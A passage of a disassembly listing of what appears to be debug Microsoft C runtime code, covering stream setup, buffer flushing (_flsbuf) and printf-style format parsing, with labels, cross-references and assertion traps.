		jz	short loc_41E41F
		mov	[ebp+var_4], 0
		jmp	short loc_41E42F
; ---------------------------------------------------------------------------


loc_41E41F:				; CODE XREF: sub_41E220+1F4j
		mov	[ebp+var_18], 1
		mov	eax, [ebp+var_1C]
		and	ah, 0BFh
		mov	[ebp+var_1C], eax


loc_41E42F:				; CODE XREF: sub_41E220+1FDj
		jmp	loc_41E4BA
; ---------------------------------------------------------------------------


loc_41E434:				; CODE XREF: sub_41E220+144j
					; DATA XREF: ___:0041E549o
		cmp	[ebp+var_10], 0
		jz	short loc_41E443
		mov	[ebp+var_4], 0
		jmp	short loc_41E453
; ---------------------------------------------------------------------------


loc_41E443:				; CODE XREF: sub_41E220+218j
		mov	[ebp+var_10], 1
		mov	ecx, [ebp+var_14]
		or	ecx, 20h
		mov	[ebp+var_14], ecx


loc_41E453:				; CODE XREF: sub_41E220+221j
		jmp	short loc_41E4BA
; ---------------------------------------------------------------------------


loc_41E455:				; CODE XREF: sub_41E220+144j
					; DATA XREF: ___:0041E545o
		cmp	[ebp+var_10], 0
		jz	short loc_41E464
		mov	[ebp+var_4], 0
		jmp	short loc_41E474
; ---------------------------------------------------------------------------


loc_41E464:				; CODE XREF: sub_41E220+239j
		mov	[ebp+var_10], 1
		mov	edx, [ebp+var_14]
		or	edx, 10h
		mov	[ebp+var_14], edx


loc_41E474:				; CODE XREF: sub_41E220+242j
		jmp	short loc_41E4BA
; ---------------------------------------------------------------------------


loc_41E476:				; CODE XREF: sub_41E220+144j
					; DATA XREF: ___:0041E54Do
		mov	eax, [ebp+var_14]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_41E48B
		mov	[ebp+var_4], 0
		jmp	short loc_41E494
; ---------------------------------------------------------------------------


loc_41E48B:				; CODE XREF: sub_41E220+260j
		mov	ecx, [ebp+var_14]
		or	ch, 10h
		mov	[ebp+var_14], ecx


loc_41E494:				; CODE XREF: sub_41E220+269j
		jmp	short loc_41E4BA
; ---------------------------------------------------------------------------


loc_41E496:				; CODE XREF: sub_41E220+144j
					; DATA XREF: ___:0041E541o
		mov	edx, [ebp+var_14]
		and	edx, 40h
		test	edx, edx
		jz	short loc_41E4A9
		mov	[ebp+var_4], 0
		jmp	short loc_41E4B1
; ---------------------------------------------------------------------------


loc_41E4A9:				; CODE XREF: sub_41E220+27Ej
		mov	eax, [ebp+var_14]
		or	al, 40h
		mov	[ebp+var_14], eax


loc_41E4B1:				; CODE XREF: sub_41E220+287j
		jmp	short loc_41E4BA
; ---------------------------------------------------------------------------


loc_41E4B3:				; CODE XREF: sub_41E220+133j
					; sub_41E220+144j
					; DATA XREF: ...
		mov	[ebp+var_4], 0


loc_41E4BA:				; CODE XREF: sub_41E220:loc_41E3A0j
					; sub_41E220:loc_41E3C4j ...
		jmp	loc_41E31C
; ---------------------------------------------------------------------------


loc_41E4BF:				; CODE XREF: sub_41E220+10Dj
					; sub_41E220+117j
		push	1A4h
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_428050
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jge	short loc_41E4E5
		xor	eax, eax
		jmp	short loc_41E536
; ---------------------------------------------------------------------------


loc_41E4E5:				; CODE XREF: sub_41E220+2BFj
		mov	ecx, dword_4DB110
		add	ecx, 1
		mov	dword_4DB110, ecx
		mov	edx, [ebp+arg_C]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		mov	[eax+0Ch], ecx
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_C]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+1Ch], 0
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax+10h], ecx
		mov	eax, [ebp+var_C]


loc_41E536:				; CODE XREF: sub_41E220+F0j
					; sub_41E220+2C3j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41E220	endp

; ---------------------------------------------------------------------------
off_41E53D	dd offset loc_41E36B	; DATA XREF: sub_41E220+144r
		dd offset loc_41E496
		dd offset loc_41E455
		dd offset loc_41E434
		dd offset loc_41E476
		dd offset loc_41E3A5
		dd offset loc_41E3EC
		dd offset loc_41E410
		dd offset loc_41E3C9
		dd offset loc_41E4B3
byte_41E565	db 0			; DATA XREF: sub_41E220+13Er
		dw 909h
		dd 5 dup(9090909h), 9010909h, 3	dup(9090909h), 9040302h
		dd 3 dup(9090909h), 9090605h, 2	dup(9090909h), 9090907h
		dd 0CC080909h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5B0	proc near		; CODE XREF: sub_416F50+B9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		push	2
		call	sub_41B780
		add	esp, 4
		mov	[ebp+var_4], 0
		jmp	short loc_41E5D9
; ---------------------------------------------------------------------------


loc_41E5D0:				; CODE XREF: sub_41E5B0+A8j
					; sub_41E5B0:loc_41E6D9j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_41E5D9:				; CODE XREF: sub_41E5B0+1Ej
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DC7C0
		jge	loc_41E6DE
		mov	edx, [ebp+var_4]
		mov	eax, dword_4DB7AC
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_41E66F
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4DB7AC
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
		and	ecx, 83h
		test	ecx, ecx
		jnz	short loc_41E66D
		mov	edx, [ebp+var_4]
		mov	eax, dword_4DB7AC
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_418ED0
		add	esp, 8
		mov	eax, [ebp+var_4]
		mov	ecx, dword_4DB7AC
		mov	edx, [ecx+eax*4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_41E65D
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4DB7AC
		mov	eax, [edx+ecx*4]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_418F40
		add	esp, 8
		jmp	loc_41E5D0
; ---------------------------------------------------------------------------


loc_41E65D:				; CODE XREF: sub_41E5B0+8Dj
		mov	edx, [ebp+var_4]
		mov	eax, dword_4DB7AC
		mov	ecx, [eax+edx*4]
		mov	[ebp+var_8], ecx
		jmp	short loc_41E6DE
; ---------------------------------------------------------------------------


loc_41E66D:				; CODE XREF: sub_41E5B0+5Dj
		jmp	short loc_41E6D9
; ---------------------------------------------------------------------------


loc_41E66F:				; CODE XREF: sub_41E5B0+44j
		push	55h
		push	offset aStream_c ; "stream.c"
		push	2
		push	38h
		call	sub_414DD0
		add	esp, 10h
		mov	edx, [ebp+var_4]
		mov	ecx, dword_4DB7AC
		mov	[ecx+edx*4], eax
		mov	edx, [ebp+var_4]
		mov	eax, dword_4DB7AC
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_41E6D7
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4DB7AC
		mov	eax, [edx+ecx*4]
		add	eax, 20h
		push	eax
		call	near ptr 28606DCh
		nop
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4DB7AC
		mov	eax, [edx+ecx*4]
		add	eax, 20h
		push	eax
		nop
		call	near ptr 77F7E21Fh
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4DB7AC
		mov	eax, [edx+ecx*4]
		mov	[ebp+var_8], eax


loc_41E6D7:				; CODE XREF: sub_41E5B0+EAj
		jmp	short loc_41E6DE
; ---------------------------------------------------------------------------


loc_41E6D9:				; CODE XREF: sub_41E5B0:loc_41E66Dj
		jmp	loc_41E5D0
; ---------------------------------------------------------------------------


loc_41E6DE:				; CODE XREF: sub_41E5B0+32j
					; sub_41E5B0+BBj ...
		cmp	[ebp+var_8], 0
		jz	short loc_41E71F
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+0Ch], 0
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+1Ch], 0
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+10h], 0FFFFFFFFh


loc_41E71F:				; CODE XREF: sub_41E5B0+132j
		push	2
		call	sub_41B820
		add	esp, 4
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_41E5B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E730	proc near		; CODE XREF: sub_4170D0+DEp
					; sub_4171D0+E5p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi


loc_41E739:				; CODE XREF: sub_41E730+31j
		cmp	[ebp+arg_4], 0
		jnz	short loc_41E75D
		push	offset dword_4334B4
		push	0
		push	69h
		push	offset a_flsbuf_c ; "_flsbuf.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41E75D
		int	3		; Trap to Debugger


loc_41E75D:				; CODE XREF: sub_41E730+Dj
					; sub_41E730+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41E739
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 82h
		test	edx, edx
		jz	short loc_41E78F
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 40h
		test	ecx, ecx
		jz	short loc_41E7A5


loc_41E78F:				; CODE XREF: sub_41E730+50j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		or	al, 20h
		mov	ecx, [ebp+var_8]
		mov	[ecx+0Ch], eax
		or	eax, 0FFFFFFFFh
		jmp	loc_41E99D
; ---------------------------------------------------------------------------


loc_41E7A5:				; CODE XREF: sub_41E730+5Dj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 1
		test	eax, eax
		jz	short loc_41E7FC
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 10h
		test	eax, eax
		jz	short loc_41E7E5
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		mov	[ecx], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFFEh
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		jmp	short loc_41E7FC
; ---------------------------------------------------------------------------


loc_41E7E5:				; CODE XREF: sub_41E730+97j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		or	eax, 0FFFFFFFFh
		jmp	loc_41E99D
; ---------------------------------------------------------------------------


loc_41E7FC:				; CODE XREF: sub_41E730+80j
					; sub_41E730+B3j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		or	edx, 2
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFEFh
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	[ebp+var_4], 0
		mov	edx, [ebp+var_4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 10Ch
		test	ecx, ecx
		jnz	short loc_41E86F
		cmp	[ebp+var_8], offset dword_4438E0
		jz	short loc_41E853
		cmp	[ebp+var_8], offset dword_443900
		jnz	short loc_41E863


loc_41E853:				; CODE XREF: sub_41E730+118j
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_4285B0
		add	esp, 4
		test	eax, eax
		jnz	short loc_41E86F


loc_41E863:				; CODE XREF: sub_41E730+121j
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_427F40
		add	esp, 4


loc_41E86F:				; CODE XREF: sub_41E730+10Fj
					; sub_41E730+131j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 108h
		test	edx, edx
		jz	loc_41E95B


loc_41E883:				; CODE XREF: sub_41E730+187j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		mov	edx, [eax]
		sub	edx, [ecx+8]
		test	edx, edx
		jge	short loc_41E8B3
		push	offset aInconsistentIo ; "(\"inconsistent IOB fields\",	stream->_pt"...
		push	0
		push	0A0h
		push	offset a_flsbuf_c ; "_flsbuf.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41E8B3
		int	3		; Trap to Debugger


loc_41E8B3:				; CODE XREF: sub_41E730+160j
					; sub_41E730+180j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41E883
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [ecx]
		sub	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+var_8]
		mov	[eax], edx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+18h]
		sub	edx, 1
		mov	eax, [ebp+var_8]
		mov	[eax+4], edx
		cmp	[ebp+var_4], 0
		jle	short loc_41E906
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_425880
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		jmp	short loc_41E94E
; ---------------------------------------------------------------------------


loc_41E906:				; CODE XREF: sub_41E730+1B8j
		cmp	[ebp+var_10], 0FFFFFFFFh
		jz	short loc_41E929
		mov	edx, [ebp+var_10]
		sar	edx, 5
		mov	eax, [ebp+var_10]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4DB460[edx*4]
		add	ecx, eax
		mov	[ebp+var_14], ecx
		jmp	short loc_41E930
; ---------------------------------------------------------------------------


loc_41E929:				; CODE XREF: sub_41E730+1DAj
		mov	[ebp+var_14], offset dword_444108


loc_41E930:				; CODE XREF: sub_41E730+1F7j
		mov	edx, [ebp+var_14]
		movsx	eax, byte ptr [edx+4]
		and	eax, 20h
		test	eax, eax
		jz	short loc_41E94E
		push	2
		push	0
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_425420
		add	esp, 0Ch


loc_41E94E:				; CODE XREF: sub_41E730+1D4j
					; sub_41E730+20Cj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41E979
; ---------------------------------------------------------------------------


loc_41E95B:				; CODE XREF: sub_41E730+14Dj
		mov	[ebp+var_4], 1
		mov	edx, [ebp+var_4]
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_425880
		add	esp, 0Ch
		mov	[ebp+var_C], eax


loc_41E979:				; CODE XREF: sub_41E730+229j
		mov	edx, [ebp+var_C]
		cmp	edx, [ebp+var_4]
		jz	short loc_41E995
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		or	ecx, 20h
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E99D
; ---------------------------------------------------------------------------


loc_41E995:				; CODE XREF: sub_41E730+24Fj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh


loc_41E99D:				; CODE XREF: sub_41E730+70j
					; sub_41E730+C7j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41E730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E9B0	proc near		; CODE XREF: sub_4170D0+93p
					; sub_4171D0+9Ap ...

var_2A6		= word ptr -2A6h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= byte ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= word ptr -248h
var_244		= dword	ptr -244h
var_240		= byte ptr -240h
var_23F		= byte ptr -23Fh
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= byte ptr -228h
var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2A8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_24], 0
		mov	[ebp+var_22C], 0
		mov	[ebp+var_18], 0


loc_41E9D4:				; CODE XREF: sub_41E9B0:loc_41F5C2j
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_28], cl
		movsx	edx, byte ptr [ebp+var_28]
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		test	edx, edx
		jz	loc_41F5C7
		cmp	[ebp+var_22C], 0
		jl	loc_41F5C7
		movsx	ecx, byte ptr [ebp+var_28]
		cmp	ecx, 20h
		jl	short loc_41EA26
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 78h
		jg	short loc_41EA26
		movsx	eax, byte ptr [ebp+var_28]
		movsx	ecx, byte ptr [eax+433F98h]
		and	ecx, 0Fh
		mov	[ebp+var_290], ecx
		jmp	short loc_41EA30
; ---------------------------------------------------------------------------


loc_41EA26:				; CODE XREF: sub_41E9B0+55j
					; sub_41E9B0+5Ej
		mov	[ebp+var_290], 0


loc_41EA30:				; CODE XREF: sub_41E9B0+74j
		mov	edx, [ebp+var_290]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_18]
		movsx	edx, byte_433FB8[ecx+eax*8]
		sar	edx, 4
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		mov	[ebp+var_294], eax
		cmp	[ebp+var_294], 7
		ja	loc_41F5C2
		mov	ecx, [ebp+var_294]
		jmp	off_41F5D4[ecx*4]


loc_41EA70:				; CODE XREF: sub_41E9B0+332j
					; DATA XREF: ___:off_41F5D4o
		mov	[ebp+var_1C], 0
		mov	edx, [ebp+var_28]
		and	edx, 0FFh
		mov	eax, off_443C7C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_41EAED
		lea	edx, [ebp+var_22C]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		movsx	ecx, byte ptr [ebp+var_28]
		push	ecx
		call	sub_41F6E0
		add	esp, 0Ch
		mov	edx, [ebp+arg_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_28], al
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx


loc_41EABE:				; CODE XREF: sub_41E9B0+13Bj
		movsx	edx, byte ptr [ebp+var_28]
		test	edx, edx
		jnz	short loc_41EAE7
		push	offset aCh_t0	; "ch != _T('\\0')"
		push	0
		push	186h
		push	offset aOutput_c ; "output.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41EAE7
		int	3		; Trap to Debugger


loc_41EAE7:				; CODE XREF: sub_41E9B0+114j
					; sub_41E9B0+134j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41EABE


loc_41EAED:				; CODE XREF: sub_41E9B0+E3j
		lea	ecx, [ebp+var_22C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		movsx	eax, byte ptr [ebp+var_28]
		push	eax
		call	sub_41F6E0
		add	esp, 0Ch
		jmp	loc_41F5C2
; ---------------------------------------------------------------------------


loc_41EB0A:				; CODE XREF: sub_41E9B0+B9j
					; DATA XREF: ___:0041F5D8o
		mov	[ebp+var_8], 0
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_23C], ecx
		mov	edx, [ebp+var_23C]
		mov	[ebp+var_244], edx
		mov	eax, [ebp+var_244]
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], 0
		mov	[ebp+var_234], 0FFFFFFFFh
		mov	[ebp+var_1C], 0
		jmp	loc_41F5C2
; ---------------------------------------------------------------------------


loc_41EB4C:				; CODE XREF: sub_41E9B0+B9j
					; DATA XREF: ___:0041F5DCo
		movsx	ecx, byte ptr [ebp+var_28]
		mov	[ebp+var_298], ecx
		mov	edx, [ebp+var_298]
		sub	edx, 20h
		mov	[ebp+var_298], edx
		cmp	[ebp+var_298], 10h
		ja	short loc_41EBB6
		mov	ecx, [ebp+var_298]
		xor	eax, eax
		mov	al, byte_41F60C[ecx]
		jmp	off_41F5F4[eax*4]


loc_41EB83:				; CODE XREF: sub_41E9B0+B9j
					; DATA XREF: ___:0041F600o
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx
		jmp	short loc_41EBB6
; ---------------------------------------------------------------------------


loc_41EB8E:				; CODE XREF: sub_41E9B0+B9j
					; sub_41E9B0+1CCj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax
		jmp	short loc_41EBB6
; ---------------------------------------------------------------------------


loc_41EB98:				; CODE XREF: sub_41E9B0+B9j
					; sub_41E9B0+1CCj
					; DATA XREF: ...
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx
		jmp	short loc_41EBB6
; ---------------------------------------------------------------------------


loc_41EBA3:				; CODE XREF: sub_41E9B0+B9j
					; sub_41E9B0+1CCj
					; DATA XREF: ...
		mov	edx, [ebp+var_4]
		or	dl, 80h
		mov	[ebp+var_4], edx
		jmp	short loc_41EBB6
; ---------------------------------------------------------------------------


loc_41EBAE:				; CODE XREF: sub_41E9B0+B9j
					; sub_41E9B0+1CCj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax


loc_41EBB6:				; CODE XREF: sub_41E9B0+B9j
					; sub_41E9B0+1BCj ...
		jmp	loc_41F5C2
; ---------------------------------------------------------------------------


loc_41EBBB:				; CODE XREF: sub_41E9B0+B9j
					; DATA XREF: ___:0041F5E0o
		movsx	ecx, byte ptr [ebp+var_28]
		cmp	ecx, 2Ah
		jnz	short loc_41EBF7
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_41F7F0
		add	esp, 4
		mov	[ebp+var_244], eax
		cmp	[ebp+var_244], 0
		jge	short loc_41EBF5
		mov	eax, [ebp+var_4]
		or	al, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_244]
		neg	ecx
		mov	[ebp+var_244], ecx


loc_41EBF5:				; CODE XREF: sub_41E9B0+22Dj
		jmp	short loc_41EC0E
; ---------------------------------------------------------------------------


loc_41EBF7:				; CODE XREF: sub_41E9B0+212j
		mov	edx, [ebp+var_244]
		imul	edx, 0Ah
		movsx	eax, byte ptr [ebp+var_28]
		lea	ecx, [edx+eax-30h]
		mov	[ebp+var_244], ecx


loc_41EC0E:				; CODE XREF: sub_41E9B0:loc_41EBF5j
		jmp	loc_41F5C2
; ---------------------------------------------------------------------------


loc_41EC13:				; CODE XREF: sub_41E9B0+B9j
					; DATA XREF: ___:0041F5E4o
		mov	[ebp+var_234], 0
		jmp	loc_41F5C2
; ---------------------------------------------------------------------------


loc_41EC22:				; CODE XREF: sub_41E9B0+B9j
					; DATA XREF: ___:0041F5E8o
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 2Ah
		jnz	short loc_41EC52
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41F7F0
		add	esp, 4
		mov	[ebp+var_234], eax
		cmp	[ebp+var_234], 0
		jge	short loc_41EC50
		mov	[ebp+var_234], 0FFFFFFFFh


loc_41EC50:				; CODE XREF: sub_41E9B0+294j
		jmp	short loc_41EC69
; ---------------------------------------------------------------------------


loc_41EC52:				; CODE XREF: sub_41E9B0+279j
		mov	ecx, [ebp+var_234]
		imul	ecx, 0Ah
		movsx	edx, byte ptr [ebp+var_28]
		lea	eax, [ecx+edx-30h]
		mov	[ebp+var_234], eax


loc_41EC69:				; CODE XREF: sub_41E9B0:loc_41EC50j
		jmp	loc_41F5C2
; ---------------------------------------------------------------------------


loc_41EC6E:				; CODE XREF: sub_41E9B0+B9j
					; DATA XREF: ___:0041F5ECo
		movsx	ecx, byte ptr [ebp+var_28]
		mov	[ebp+var_29C], ecx
		mov	edx, [ebp+var_29C]
		sub	edx, 49h
		mov	[ebp+var_29C], edx
		cmp	[ebp+var_29C], 2Eh
		ja	short loc_41ECFC
		mov	ecx, [ebp+var_29C]
		xor	eax, eax
		mov	al, byte_41F631[ecx]
		jmp	off_41F61D[eax*4]


loc_41ECA5:				; DATA XREF: ___:0041F625o
		mov	edx, [ebp+var_4]
		or	edx, 10h
		mov	[ebp+var_4], edx
		jmp	short loc_41ECFC
; ---------------------------------------------------------------------------


loc_41ECB0:				; CODE XREF: sub_41E9B0+2EEj
					; DATA XREF: ___:off_41F61Do
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 36h
		jnz	short loc_41ECDB
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 34h
		jnz	short loc_41ECDB
		mov	ecx, [ebp+arg_4]
		add	ecx, 2
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+var_4]
		or	dh, 80h
		mov	[ebp+var_4], edx
		jmp	short loc_41ECE7
; ---------------------------------------------------------------------------


loc_41ECDB:				; CODE XREF: sub_41E9B0+309j
					; sub_41E9B0+315j
		mov	[ebp+var_18], 0
		jmp	loc_41EA70
; ---------------------------------------------------------------------------


loc_41ECE7:				; CODE XREF: sub_41E9B0+329j
		jmp	short loc_41ECFC
; ---------------------------------------------------------------------------


loc_41ECE9:				; CODE XREF: sub_41E9B0+2EEj
					; DATA XREF: ___:0041F621o
		mov	eax, [ebp+var_4]
		or	al, 20h
		mov	[ebp+var_4], eax
		jmp	short loc_41ECFC
; ---------------------------------------------------------------------------


loc_41ECF3:				; CODE XREF: sub_41E9B0+2EEj
					; DATA XREF: ___:0041F629o
		mov	ecx, [ebp+var_4]
		or	ch, 8
		mov	[ebp+var_4], ecx


loc_41ECFC:				; CODE XREF: sub_41E9B0+2DEj
					; sub_41E9B0+2EEj ...
		jmp	loc_41F5C2
; ---------------------------------------------------------------------------


loc_41ED01:				; CODE XREF: sub_41E9B0+B9j
					; DATA XREF: ___:0041F5F0o
		movsx	edx, byte ptr [ebp+var_28]
		mov	[ebp+var_2A0], edx
		mov	eax, [ebp+var_2A0]
		sub	eax, 43h
		mov	[ebp+var_2A0], eax
		cmp	[ebp+var_2A0], 35h
		ja	loc_41F3E7
		mov	edx, [ebp+var_2A0]
		xor	ecx, ecx
		mov	cl, byte_41F69C[edx]
		jmp	off_41F660[ecx*4]


loc_41ED3C:				; DATA XREF: ___:off_41F660o
		mov	eax, [ebp+var_4]
		and	eax, 830h
		test	eax, eax
		jnz	short loc_41ED51
		mov	ecx, [ebp+var_4]
		or	ch, 8
		mov	[ebp+var_4], ecx


loc_41ED51:				; CODE XREF: sub_41E9B0+385j
					; sub_41E9B0+396j
					; DATA XREF: ...
		mov	edx, [ebp+var_4]
		and	edx, 810h
		test	edx, edx
		jz	short loc_41ED97
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41F830
		add	esp, 4
		mov	[ebp+var_14], ax
		mov	cx, [ebp+var_14]
		push	ecx
		lea	edx, [ebp+var_228]
		push	edx
		call	sub_4285F0
		add	esp, 8
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jge	short loc_41ED95
		mov	[ebp+var_23C], 1


loc_41ED95:				; CODE XREF: sub_41E9B0+3D9j
		jmp	short loc_41EDBD
; ---------------------------------------------------------------------------


